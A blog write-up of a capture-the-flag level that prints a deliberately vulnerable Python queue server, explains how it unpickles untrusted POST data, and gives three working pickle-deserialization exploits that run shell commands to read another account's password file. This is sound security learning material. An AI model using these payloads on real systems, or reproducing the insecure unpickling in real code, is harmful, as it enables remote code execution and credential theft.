#!/usr/bin/env python import logging import json import optparse import os import pickle import random import re import string import sys import time import traceback import urllib from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer LOGGER_NAME = 'queue' logger = logging.getLogger(LOGGER_NAME) logger.addHandler(logging.StreamHandler(sys.stderr)) TMPDIR = '/tmp/level05' class Job(object): QUEUE_JOBS = os.path.join(TMPDIR, 'jobs') QUEUE_RESULTS = os.path.join(TMPDIR, 'results') def __init__(self): self.id = self.generate_id() self.created = time.time() self.started = None self.completed = None def generate_id(self): return ''.join([random.choice(string.ascii_letters) for i in range(20)]) def job_file(self): return os.path.join(self.QUEUE_JOBS, self.id) def result_file(self): return os.path.join(self.QUEUE_RESULTS, self.id) def start(self): self.started = time.time() def complete(self): self.completed = time.time() class QueueUtils(object): @staticmethod def deserialize(serialized): logger.debug('Deserializing: %r' % serialized) parser = re.compile('^type: (.*?); data: (.*?); job: (.*?)$', re.DOTALL) match = parser.match(serialized) direction = match.group(1) data = match.group(2) job = pickle.loads(match.group(3)) return direction, data, job @staticmethod def serialize(direction, data, job): serialized = """type: %s; data: %s; job: %s""" % (direction, data, pickle.dumps(job)) logger.debug('Serialized to: %r' % serialized) return serialized @staticmethod def enqueue(type, data, job): logger.info('Writing out %s data for job id %s' % (type, job.id)) if type == 'JOB': file = job.job_file() elif type == 'RESULT': file = job.result_file() else: raise ValueError('Invalid type %s' % type) serialized = QueueUtils.serialize(type, data, job) with open(file, 'w') as f: f.write(serialized) f.close() class QueueServer(object): # Called in server def run_job(self, data, job): QueueUtils.enqueue('JOB', data, job) result = self.wait(job) if not result: result = (None, 'Job timed out', None) return result def wait(self, job): job_complete = False for i in range(10): if os.path.exists(job.result_file()): logger.debug('Results file %s found' % job.result_file()) job_complete = True break else: logger.debug('Results file %s does not exist; sleeping' % job.result_file()) time.sleep(0.2) if job_complete: f = open(job.result_file()) result = f.read() os.unlink(job.result_file()) return QueueUtils.deserialize(result) else: return None class QueueWorker(object): def __init__(self): # ensure tmp directories exist if not os.path.exists(Job.QUEUE_JOBS): os.mkdir(Job.QUEUE_JOBS) if not os.path.exists(Job.QUEUE_RESULTS): os.mkdir(Job.QUEUE_RESULTS) def poll(self): while True: available_jobs = [os.path.join(Job.QUEUE_JOBS, job) for job in os.listdir(Job.QUEUE_JOBS)] for job_file in available_jobs: try: self.process(job_file) except Exception, e: logger.error('Error processing %s' % job_file) traceback.print_exc() else: logger.debug('Successfully processed %s' % job_file) finally: os.unlink(job_file) if available_jobs: logger.info('Processed %d available jobs' % len(available_jobs)) else: time.sleep(1) def process(self, job_file): serialized = open(job_file).read() type, data, job = QueueUtils.deserialize(serialized) job.start() result_data = self.perform(data) job.complete() QueueUtils.enqueue('RESULT', result_data, job) def perform(self, data): return data.upper() class QueueHttpServer(BaseHTTPRequestHandler): def do_GET(self): self.send_response(404) self.send_header('Content-type','text/plain') self.end_headers() output = { 'result' : "Hello there! Try POSTing your payload. I'll be happy to capitalize it for you." } self.wfile.write(json.dumps(output)) self.wfile.close() def do_POST(self): length = int(self.headers.getheader('content-length')) post_data = self.rfile.read(length) raw_data = urllib.unquote(post_data) queue = QueueServer() job = Job() type, data, job = queue.run_job(data=raw_data, job=job) if job: status = 200 output = { 'result' : data, 'processing_time' : job.completed - job.started, 'queue_time' : time.time() - job.created } else: status = 504 output = { 'result' : data } self.send_response(status) self.send_header('Content-type','text/plain') self.end_headers() self.wfile.write(json.dumps(output, sort_keys=True, indent=4)) self.wfile.write('\n') self.wfile.close() def run_server(): try: server = HTTPServer(('127.0.0.1', 9020), QueueHttpServer) logger.info('Starting QueueServer') server.serve_forever() except KeyboardInterrupt: logger.info('^C received, shutting down server') server.socket.close() def run_worker(): worker = QueueWorker() worker.poll() def main(): parser = optparse.OptionParser("""%prog [options] type""") parser.add_option('-v', '--verbosity', help='Verbosity of debugging output.', dest='verbosity', action='count', default=0) opts, args = parser.parse_args() if opts.verbosity == 1: logger.setLevel(logging.INFO) elif opts.verbosity >= 2: logger.setLevel(logging.DEBUG) if len(args) != 1: parser.print_help() return 1 if args[0] == 'worker': run_worker() elif args[0] == 'server': run_server() else: raise ValueError('Invalid type %s' % args[0]) return 0 if __name__ == '__main__': sys.exit(main())
First, I had to step through the code to get a good feel for exactly what was going on. I won’t delve into too much detail about the intended functionality of the program, but in general the script has two primary components – the server process and the worker process.
The server process opens an HTTP web listener on port 9020 and basically handles GET and POST requests. If it sees a GET request, it provides the user with instructions to send a POST request with some data to be capitalized. When it receives the POST request, it submits a job for the worker process to handle the data. Thus the worker process is constantly polling the “jobs” directory for jobs to process, and when it finds them, it proceeds to parse the data and spit out the result. Simple enough, but I was still having trouble identifying the vulnerability (it was probably much more obvious to some). I went ahead and ran a test of the program with normal data to get a feel for how it works.
So one thing that I initially took notice to was that there doesn’t appear to be any input validation from the POST data, so we should have some flexibility there. The next thing I did was to trace what happens to the data as it progresses through the program. Basically our data gets passed around to different functions, and then serialized/desearialized using the pickle API. One line of code that initially stood out to me was line 54 where our data is about to be deserialized:
parser = re.compile(‘^type: (.*?); data: (.*?); job: (.*?)$’, re.DOTALL)
This is a simple regular expression command that parses our data for the specific patterns and returns three match groups accordingly. What I found of interest is that it’s assuming that the “data” field does not have the string “; job: ” contained within it. Otherwise, if we include that character sequence in our data the parser will submit our string to the final match group as opposed to the intended “job” string.
Okay, so what is supposed to happen with the “job” data? On line 58 it gets sent to the pickle.loads method. Note that the script assumes this is the same data that was sent to the pickle.dumps method on line 63, during serialization. So that seems to be about the only place in the program where we might direct some unintended functionality. Researching the pickle module () a little bit more identifies an interesting warning that should peak our interest:
“Warning: The pickle module is not intended to be secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.”
Ahh, but it appears that this program is unpickling data from an “untrusted” source. So let’s figure out how to exploit this. Googling for “python pickle vulnerabilities” leads us to some interesting articles:
These articles all discuss ways to exploit the vulnerabilities inherent to pickle.
Okay, so now we know the vulnerability. It seems likely that we can get the server to spit out the password for level06 for us. We just need to generate the correct exploit string and pass it through our post request. I used the articles mentioned earlier as a guide for generating these exploits.
Now it took me quite a bit of fiddling around with the correct exploit string. Primarily I had to get it to actually print the correct data in the post request. This was one of those trial and error experiences that can get frustrating but is worth it in the end. After getting the correct string to work, I also generated a few other options based on examples of pickle exploits seen during my research. Below are the three solutions I came up with.
Solution 1:
curl -d "; job: $(printf "cos\nsystem\n(S'cat /home/level06/.password > /tmp/level6pw1'\ntR.")"
Solution 2:
#!/usr/bin/python import pickle import subprocess import os, sys class exploit(object): def __reduce__(self): return (subprocess.Popen, (('/bin/sh', '-c', 'cat /home/level06/.password > /tmp/level6pw2'),)) job = pickle.dumps(exploit()) mystring = 'curl -d \"; job: $(printf \"' + job + '\")\"' os.system(mystring)
Solution 3:
#!/usr/bin/python import pickle import subprocess from urllib import urlopen class exploit(object): def __reduce__(self): return (subprocess.Popen, (('/bin/sh', '-c', 'cat /home/level06/.password > /tmp/level6pw3'),)) job = pickle.dumps(exploit()) urlopen('','; job: ' + job)
Here is a screenshot of running the three different exploits. Notice that they are each handled a little differently, but still produce the same result:
Sure enough we can validate that all three exploits succeeded and generated the correct result.
Conclusion
This was a little more challenging for me as I wasn’t aware of the pickle module and its vulnerabilities prior to this exercise. But that is what is great about these kinds of challenges. They force you to learn something new and research ways to break things that you didn’t know you could break.
Go ahead and save your password, and let’s see if we can finally capture that flag!
|
http://wh33lhouse.net/2012/08/stripe-ctf-level-5/
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CC-MAIN-2018-09
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refinedweb
| 1,829
| 51.75
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